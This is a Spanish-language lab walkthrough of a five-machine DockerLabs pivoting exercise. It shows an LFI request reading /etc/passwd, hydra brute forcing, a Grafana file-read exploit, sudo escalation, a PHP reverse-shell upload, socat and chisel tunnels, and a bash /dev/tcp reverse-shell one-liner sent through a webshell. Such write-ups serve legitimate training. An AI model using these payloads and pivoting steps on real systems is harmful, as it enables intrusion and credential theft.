Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 6 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Primero debemos identificar cuál es la máquina a la que tenemos acceso. Para ello usaremos el comando ip a
que nos mostrara todas las interfaces.
Si vamos buscando las otras redes podemos observar que tenemos otra red que indica up
la cual es la 8 y nuestra dirección para esa IP es la 10.10.10.1
.
Con ello en mente podemos saber cuál de las direcciones IP que debemos acceder para empezar. Si no nos indicaran que IP es la que nos brindaron solo deberíamos realizar y como se puede observar se tienen las IP 10.10.10.2
y 10.10.10.1
.
Máquina 1 Inclusion (10.10.10.2).
Para empezar primero realizaremos un ping para ver si obtenemos respuesta.
Realizamos un escaneo de la dirección IP y podemos observar que tenemos 2 puertos abiertos.
Vamos a la dirección IP y podemos observar que se trata de la página default de apache2
.
Realizamos un escaneo de subdirectorio y podemos observar que se encontró uno llamado shop
.
Nos dirigimos al directorio y observamos que se trata de una tienda de teclados, también podemos observar que está obteniendo un error al realizar un llamado.
Realizamos un escaneo más profundo para ver si encontramos un archivo adicional, pero no nos indica nada más allá de la extensión del index que es un PHP.
Con esto en mente realizamos un fuzzing para identificar un LFI. Probamos realizando la siguiente petición.
http://10.10.10.2/shop/index.php?archivo=../../../../etc/passwd
Y podemos observar que tuvimos una respuesta positiva donde podemos observar los usuarios.
Revisamos por algunos logs, pero no encontramos alguno que nos sirva para realizar un log poisoning
.
Revisando los usuarios podemos observar que tenemos 2 usuarios.
Probamos realizando un ataque de fuerza bruta probando con cada usuario y podemos observar que usando hydra
identificamos un password.
manchi:lovely
Con las credenciales obtenidas nos conectamos exitosamente por ssh.
Una vez dentro no es necesario escalar privilegios, ya que no es el objetivo principal. Por ello veremos a qué red debemos dirigirnos. Probamos con hostname -I
y podemos observar las 2 redes a la que pertenece.
La primera red 10.10.10.2
es en la que estamos actualmente y debemos dirigirnos a la segunda. Como desconocemos la dirección IP de la máquina, realizaremos un escaneo para identificar las direcciones IP habilitadas en este rango. Para ello debemos hacer lo siguiente. Crearemos un archivo mediante el cual descubriremos los hosts.
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
tput cnorm;exit 1
}
trap ctrl_c INT
network=(20.20.20)
tput civis
for net in ${network[@]}; do
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 $net.$i" &>/dev/null && echo -e "\t[+] Host $net.$i - Active"&
done; wait
done
tput cnorm
Luego de crear el archivo y ejecutar el escáner podemos observar que la red 20.20.20.X
tiene la red 20.20.20.3
activa.
Con estos datos, debemos tener en cuenta lo siguiente.
IP máquina Inclusion
10.10.10.2
20.20.20.2
IP máquina descubierta (MOVE)
- 20.20.20.3
Máquina 2 Move (20.20.20.3)
Para poder empezar con esta máquina aplicaremos un Dynamic Port Forwarding
. Como ya tenemos las credenciales SSH primero debemos ingresar el comando.
ssh -D 1234 manchi@10.10.10.2
Una vez hecha la conexión, tendremos que aplicar la siguiente configuración desde el fichero /etc/proxychains.conf
:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1234
Con ello hecho ya deberíamos poder tener conectividad a ese punto. Escaneamos los puertos para poder observar cuáles tenemos disponibles y tenemos los puertos 21
, 22
, 80
y 3000
.
Como tenemos el puerto 80 para poder observar agregaremos el proxy así tener conectividad.
Al dirigirnos a la dirección IP podemos observar que tenemos acceso.
Realizamos un escaneo de directorios y no encontramos nada.
Así que realizamos un escaneo más profundo y podemos encontrar un archivo llamado /maintenance.html
.
Nos dirigimos al directorio y podemos observar que tenemos un texto que indica que el acceso está en /tmp/pass.txt
. Debemos tenerlo en cuenta para más adelante cuando tengamos acceso.
Ahora Tenemos para investigar tanto el puerto 22 y 3000 Primero investigaremos el FTP y probaremos acceder de manera anónima.
Nos conectamos al puerto FTP usando anonymous
y podemos observar que tenemos un directorio llamado mantenimiento puede hacer referencia a lo que encontramos con anterioridad.
Nos dirigimos al directorio y podemos observar que tenemos un archivo .kdbx
el cual copiaremos en nuestra máquina usando get.
Revisando el tipo de archivo podemos observar que se trata de un comprimido de KeePass.
Tratamos de extraer el hash de esta base de datos, pero no es posible para la versión a la que pertenece ese archivo.
Por el momento lo dejaremos, ya que no es posible revisar el archivo /tmp/pass.txt
, la cual en el mejor de los casos es la pista para este archivo.
Nos dirigimos a la dirección IP con el puerto 3000 y podemos observar que nos aparece el login de Grafana.
Probamos ingresando las credenciales por default y podemos ver que tuvimos acceso.
admin:admin
Revisando vulnerabilidades para esta versión podemos observar que hay varias, una de ellas es este https://www.exploit-db.com/exploits/50581
Después de descargar el exploit, lo ejecutamos y realizamos la consulta para ver si podemos leer archivos.
Ya que podemos leer archivos, podemos leer el archivo del directorio que encontramos al comienzo /tmp/pass.txt
que encontramos en el primer directorio, realizamos la petición y podemos observar el mensaje y efectivamente tenemos un texto.
t9sH76gpQ82UFeZ3GXZS
Para poder extraer el archivo usaremos keepassxc
.
Abrimos el archivo y solo encontramos el usuario freddy
.
freddy:t9sH76gpQ82UFeZ3GXZS
Ya que tenemos un usuario y un password usaremos ssh para verificar si esas credenciales también están siendo reusadas para este servicio. Ingresamos las credenciales y podemos observar que tenemos acceso.
Como ya entramos como freddy
identificamos las direcciones de red y podemos observar que tenemos.
La primera red 20.20.20.3
es en la que estamos actualmente y debemos dirigirnos a la segunda. Como desconocemos la dirección IP de la siguiente máquina, realizaremos un escaneo para identificar las direcciones IP habilitadas en el rango de 30.30.30.x
, tratamos de usar el script que empleamos al comienzo, pero no nos es útil.
Con estos datos, debemos tener en cuenta lo siguiente.
IP máquina Move
20.20.20.3
30.30.30.2
IP máquina descubierta (TRUST)
- 30.30.30. X
Maquina 3 Trust (30.30.30.X)
Para poder empezar con esta nueva máquina aplicaremos un Dynamic Port Forwarding
para poder escanear y obtener la dirección IP de esta máquina. Como ya tenemos las credenciales SSH primero debemos ingresar el comando.
proxychains ssh -D 1235 freddy@20.20.20.3
Una vez hecha la conexión, tendremos que aplicar la siguiente configuración desde el fichero /etc/proxychains.conf
y con nuestro cambio anterior se vería algo así. Comentamos la primera conexión que usamos, ya que establecimos la conexión y esta se "jala" de manera automática.
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks5 127.0.0.1 1234
socks5 127.0.0.1 1235
Con ello hecho ya deberíamos poder tener conectividad a ese punto ya deberíamos poder realizar un escaneo en esa dirección. Realizamos un escaneo con uso de nmap
suponiendo que el puerto 80 está habilitado
proxychains nmap -sT -p 80 30.30.30.0/24
Podemos observar que tenemos las direcciones IP
30.30.30.2 ->máquina Move
30.30.30.3->máquina Trust
Usamos gobuster
para identificar archivos y podemos observar que identificamos un archivo llamado secret.php
.
Para acceder a esta página agregamos el proxy con el puerto seleccionado.
Ingresamos a la dirección y podemos observar que nos muestra el nombre de mario
.
Como ya no tenemos acceso a ningún usuario adicional lo que haremos es realizar un ataque de fuerza bruta con hydra
. Luego de unos segundos podemos observar el password.
mario:chocolate
Ya que obtuvimos las credenciales nos conectaremos a la máquina Trust
.
Realizamos un sudo -l
y podemos observar que podemos hacer uso de vim
para obtener root.
Para tener idea de como elevar privilegios podemos visitar la página de GTFOBins
Ejecutamos el comando y podemos observar que ya somos root.
Regresamos a mario
, ya que no es necesario ser root
y realizamos un host -I
y podemos observar las 2 redes que tenemos.
La primera red y a la que nos conectamos por SSH es la 30.30.30.3
es en la que estamos actualmente y debemos dirigirnos a la segunda red. Como desconocemos la dirección IP de la máquina, realizaremos un escaneo para identificar las direcciones IP habilitadas en este rango. Para ello debemos hacer lo siguiente. Crearemos un archivo mediante el cual descubriremos los hosts.
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
tput cnorm;exit 1
}
trap ctrl_c INT
network=(20.20.20)
tput civis
for net in ${network[@]}; do
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 $net.$i" &>/dev/null && echo -e "\t[+] Host $net.$i - Active"&
done; wait
done
tput cnorm
Y podemos observar que identifico 2 direcciones IP.
Con estos datos, debemos tener en cuenta lo siguiente.
IP máquina trust
30.30.30.3 -> IP por donde accedimos
40.40.40.2 -> segunda red
IP máquina descubierta (Upload)
- 40.40.40.3
Máquina 4 Upload (40.40.40.3)
Para poder empezar con esta máquina aplicaremos un Dynamic Port Forwarding
. Como ya tenemos las credenciales SSH primero debemos ingresar el comando.
proxychains ssh -D 1236 mario@30.30.30.3
Una vez hecha la conexión, tendremos que aplicar la siguiente configuración desde el fichero /etc/proxychains.conf
:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks5 127.0.0.1 1234
#socks5 127.0.0.1 1235
socks5 127.0.0.1 1236
Regresamos a nuestra máquina y realizamos el escaneo de puertos y podemos observar que solo tenemos el puerto 80.
Como tenemos el puerto 80 para poder observar agregaremos el proxy así tener conectividad.
Ingresamos la dirección IP en el navegador con el proxy activado y podemos observar que se trata de una página donde subir archivos.
Escaneamos el directorio podemos ver que tenemos el directorio uploads
.
Ya que al intentar subir un archivo observamos que de primera no nos aparece una restricción de tipo de archivos subiremos una revshell como primer archivo.
Usaremos un archivo que podemos conseguir en la página de PentestMonkey, pero modificaremos para poder usarlo.
Luego de subir el archivo nos dirigimos a la carpeta de uploads
y podemos observar nuestro archivo.
Antes de hacer clic iniciaremos sesión con Mario
por SSH y montar un servicio de socat
, ya que si iniciamos el listener en nuestra máquina y abrimos el archivo no recibiremos una respuesta. Por ello montaremos un servicio para que redirija el tráfico del puerto 2345
que fue el que asignamos en nuestro archivo rvshell.php
hacia nuestra máquina.
Primero haremos en la primera máquina.
A nuestra máquina.
Como no tenemos socat
en la primera maquina la traspasaremos. iniciamos un servidor en la maquina que lo tenemos.
Descargamos en la primera maquina y damos permisos de ejecucion.
Antes de iniciar el socat
pasaremos el socat a cada una de las maquina comprometidas ya que tenemos Python. con ello iniciamos el servidor en la primera maquina.
Y en la segunda maquina descargamos el archivo.
ahora en la segunda maquina revisamos si tenemos Python
en esta maquina volvemos a repetir lo mismo.
Ahora para la tercera maquina descargamos el archivo.
Luego de darle permisos de ejecución al archivo en todas las maquinas.
Lo que debemos realizar ahora es establecer la redirección De la primera máquina(10.10.10.2 / 20.20.20.2) a nuestra máquina(10.10.10.1) En todas las máquinas usaremos el mismo puerto para evitar confusiones. Estamos agregando el símbolo &
para que se vaya a segundo plano y podemos seguir haciendo uso de la shell.
./socat TCP-LISTEN:2345,fork TCP:10.10.10.1:2345 &
De la segunda maquina(20.20.20.3 / 30.30.30.2) a la primera maquina (20.20.20.2)
./socat TCP-LISTEN:2345,fork TCP:20.20.20.2:2345 &
De la tercera maquina(30.30.30.3 / 40.40.40.2) a la segunda maquina(30.30.30.2)
./socat TCP-LISTEN:2345,fork TCP:30.30.30.2:2345 &
Luego de iniciar nuestro listener hacemos clic en el archivo y podemos observar que ya tenemos acceso.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener mas características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con mas libertad en la consola. Una vez dentro realizamos un sudo -l
y podemos observar que podemos abusar de un binario para escalar.
Buscando en la pagina de GFTObins podemos observar como hacerlo.
Ingresamos ese comando y podemos observar que ya obtuvimos acceso como root.
Como entramos procedemos a identificar las direcciones de red y podemos observar que tenemos.
Para poder tener una mejor shell ingresamos el sigueinte comando para que nos genere una nueva.
script /dev/null -c bash
La primera red 40.40.40.3
es en la que estamos actualmente y debemos dirigirnos a la segunda red. Como desconocemos la dirección IP de la siguiente maquina, realizaremos un escaneo para identificar las dirección IP habilitadas en el rango de 50.50.50.x
. revisamos si tiene ping pero observamos que no, pero si tenemos curl.
usaremos el siguiente script.
for i in {1..254}; do
curl -s --connect-timeout 1 http://50.50.50.$i > /dev/null && echo "50.50.50.$i is up"
done
Damos permisos de ejecución y podemos observar que tenemos la dirección que necesitábamos.
Con estos datos, debemos tener en cuenta lo siguiente.
IP maquina actual(Upload)
40.40.40.3
50.50.50.2
IP maquina descubierta (whereismywebshell)
- 50.50.50.3
Maquina 5 Whereismywebshell (50.50.50.3)
Como en esta máquina no tenemos ssh
no podemos repetir los pasos que usamos para escanear esta dirección, lo que haremos es 50.50.50.3 Iniciaremos sesión de nuevo en la máquina(30.30.30.3) y habilitaremos el servidor de Python y descargaremos en la máquina.
Le damos permisos de ejecución y debemos ingresar el siguiente comando para redireccionar De la cuarta maquina(40.40.40.3 / 50.50.50.2) a la tercera maquina(40.40.40.2)
./socat TCP-LISTEN:2345,fork TCP:40.40.40.2:2345
tratamos de ejecutar tenemos un error que nos falta una libreria y no podemos resolverlo. por ello en mario descargamos chisel y damos permisos de ejecucion.
para poder establecer un tunel debemos volver a repetir los pasos que hicimos antes y como mandamos a segundo plano no tendremos problemas con la shell.
De la primera maquina(10.10.10.2 / 20.20.20.2) a nuestra maquina(10.10.10.1)
./socat TCP-LISTEN:3456,fork TCP:10.10.10.1:8088 &
En la segunda maquina(20.20.20.3 / 30.30.30.2) a la primera maquina (20.20.20.2)
./socat TCP-LISTEN:3456,fork TCP:20.20.20.2:3456 &
En la tercera maquina(30.30.30.3 / 40.40.40.2) a la segunda maquina(30.30.30.2)
./socat TCP-LISTEN:3456,fork TCP:30.30.30.2:3456 &
En la cuarta maquina(40.40.40.3 / 50.50.50.2) a la tercera maquina(40.40.40.2) Ahora en la ultima maquina hacemos.
./chisel client 40.40.40.2:3456 R:8087:socks &
En nuestra maquina local iniciamos
sudo ./chisel server --reverse -p 8088
y si observamos en la maquina de root podemos observar que no podemos establecer conexion.
agregamos el puerto a nuestros proxies.
Nos dirigimos a la direccion ip desde el navegador y podemos observar lo siguiente.
nos dirigimos al final de la pagina y leemos el texto final dice guardo un secretito en /tmp
. Con conocimiento de ello realizamos un escaneo agregando la busqueda de archivos
Con conocimiento de ello realizamos un escaneo agregando la busqueda de archivos
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://50.50.50.3 -x .php,.py,.txt,.html --proxy socks5://127.0.0.1:8087
y podemos observar varios archivos interesantes pero el que nos interesa observar es el shell.php
.
si nos dirigimos al archivo observamos que tenemos acceso pero no nos muestra nada.
tomamos en cuenta el nombre del archivo e imaginamos que se trata de un webshell probamos con algun parametro comun como seria cmd
podemos ver que no nos devuelve nada.
Procederemos a usar fuzzing para ver si de alguna manera algun parametro coincide con el de la shell. esto lo realizamos usando wfuzz el comando que empleamos es
proxychains wfuzz -c --hc=404,500 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt http://50.50.50.3/shell.php?FUZZ=id
y podemos observar que nos da el resultado de parameter
.
Si ahora ingresamos el parametro en el url podemos ver que si es correcto.
si bien es posible ejecutar comando de esta manera estableceremos una revshell para poder movernos de manera mas practica debemos establecer una shell. Para ello debemos establecer otra conexion como hicimos antes. De la primera maquina(10.10.10.2 / 20.20.20.2) a nuestra maquina(10.10.10.1)
./socat TCP-LISTEN:2211,fork TCP:10.10.10.1:1234 &
En la segunda maquina(20.20.20.3 / 30.30.30.2) a la primera maquina (20.20.20.2)
./socat TCP-LISTEN:2211,fork TCP:20.20.20.2:2211 &
En la tercera maquina(30.30.30.3 / 40.40.40.2) a la segunda maquina(30.30.30.2)
./socat TCP-LISTEN:2211,fork TCP:30.30.30.2:2211 &
En la cuarta maquina(40.40.40.3 / 50.50.50.2) a la tercera maquina(40.40.40.2) Ahora en la ultima maquina hacemos.
./chisel client 40.40.40.2:2211 R:2211:socks &
En nuestra maquina local iniciamos
sudo ./chisel server -p 3344 --reverse
ahora agregamos la revshell al url para poder obtener acceso nuestro codigo seria
bash -c "bash -i >%26 /dev/tcp/40.40.40.2/3344 0>%261"
Pero no podemos enviarlo asi ya que suele dar errores en muchas ocasion por ello lo url encodeamos y tendriamos de la siguinte manera
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F40.40.40.2%2F3344%200%3E%261%22
para mejorar el movimiento en la consola migramos la shell primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener mas características usamos
echo $TERM
y podemos ver que estamos en dumb parar pasar usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
luego de ello ya podemos usar las flechas para movernos al comando anterior, asi también como usar abreviaciones como ctrl+l
, ctrl +c
.
Antes de empezar a escanear o revisar permisos debemos recordar el mensaje principal, que indicaba tener un secreto en /tmp
. al dirigirnos al directorio /tmp
tenemos un archivo oculto con un password.
contraseñaderoot123
como indica el nombre de la contraseña esta puede ser de root pero para corroborar esto buscamos en los archivos de /etc y podemos observar que no hay algún usuario adicional y si filtramos por bash podemos observar que solo tenemos al root.
iniciamos sesión como root y de esta manera, culminamos esta maquina.